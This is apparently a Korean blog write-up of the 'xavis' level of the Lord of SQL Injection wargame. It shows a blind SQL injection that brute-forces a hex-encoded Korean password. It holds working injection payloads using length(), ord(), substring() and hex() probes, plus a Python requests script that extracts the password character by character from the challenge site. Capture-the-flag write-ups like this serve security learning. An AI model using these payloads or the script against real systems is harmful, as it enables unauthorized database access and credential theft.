-
<Lord of SQL Injection> xavisWargame/Lord of SQL Injection 2021. 11. 20. 15:23
전달받은 pw에 prob, _, ., (), regex, like를 필터링한다.
문제를 해결하기 위해서는 pw의 값이 참이면서, 전달받은 pw와 쿼리 결과의 pw의 값이 같아야 한다.
우선, 기본적인 SQL Injection 구문인 ?pw=' or 1=1%23을 입력하면
"Hello admin"을 출력한다.
?pw=' or 1=2%23을 입력하면
아무것도 출력하지 않는다.
"Hello admin"으로 참과 거짓을 구분할 수 있으므로 Blind SQL Injection 공격을 수행할 수 있다.
pw의 길이를 확인하기 위해
?pw=' or length(pw)=12%23을 입력하면
?pw=' or ord(substring(pw,1,1))=47%23의 형태로, 한 글자씩 보았지만
"Hello admin"이 나오는 글자를 찾지 못했다.
?pw=' or ord(substring(pw,1,1))>122%23를 통해
pw가 알파벳 대소문자가 아닌 다른 문자로 이루어져 있다는 것을 알 수 있다.
계속해서 찾아보면
?pw=' or ord(substring(pw,1,1))=50864%23을 입력하면
chr(50864)는 한글 '우'를 나타낸다. 즉, pw는 한글로 이뤄져 있었기에 앞에서 찾을 수 없었다.
pw의 한 자리값의 크기를
?pw=' or length(substring(pw,1,1))=4%23을 통해
pw의 한 글자가 4byte의 크기를 가진다는 것을 알 수 있다.
한글은 알파벳에 비해 범위가 넓고, 한 글자의 크기가 4byte이므로 16진수를 이용해 찾을 수 있다.
16진수로 변환한 pw의 길이를 찾을 수 있다.
?pw=' or length(hex(pw))=24%23를 통해 16진수로 이루어진 pw의 길이는 24인 것을 알 수 있다.
이제 24자리 16진수의 첫 번째 자리수를 찾기위해
?pw=' or substring(hex(pw),1,1)='0'%23을 입력하면
24자리 중 첫 번째 수가 0인 것을 확인할 수 있다.
그럼 이 쿼리 문과 파이썬 코드를 이용해 나머지 23자리도 구할 수 있다.
import requests baseurl = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php" cookies = {"PHPSESSID" : "PHPSESSID 값"} want_str = "<h2>Hello admin</h2>" hex_pw = "" hex_data = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'] for i in range(1, 25): for j in hex_data: url = baseurl + "?pw=' or substring(hex(pw),{},1)='{}'%23".format(i,j) res = requests.get(url=url, cookies=cookies) if want_str in res.text: hex_pw += j break print("hex_pw : ", hex_pw)
맨 처음 ?pw=' or length(pw)=12%23를 통해 문자열 길이가 12이고, 한 글자의 크기가 4byte이므로 pw는 3자리라는 것을 알 수 있다.
"0000c6b00000c6550000ad73"를 3자리씩 끊어 십진수로 변환하면
0000c6b0 0000c655 0000ad73 50864 50773 44403 이 십진수를 chr()을 통해 문자로 변환하면
"우왕굳"이란 문자열을 출력한다. 이를 입력하면
문제를 해결할 수 있다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
<Lord of SQL Injection> iron_golem (0) 2021.11.23 <Lord of SQL Injection> dragon (0) 2021.11.22 <Lord of SQL Injection> nightmare (0) 2021.11.19 <Lord of SQL Injection> zombie_assassin (0) 2021.11.18 <Lord of SQL Injection> succubus (0) 2021.11.17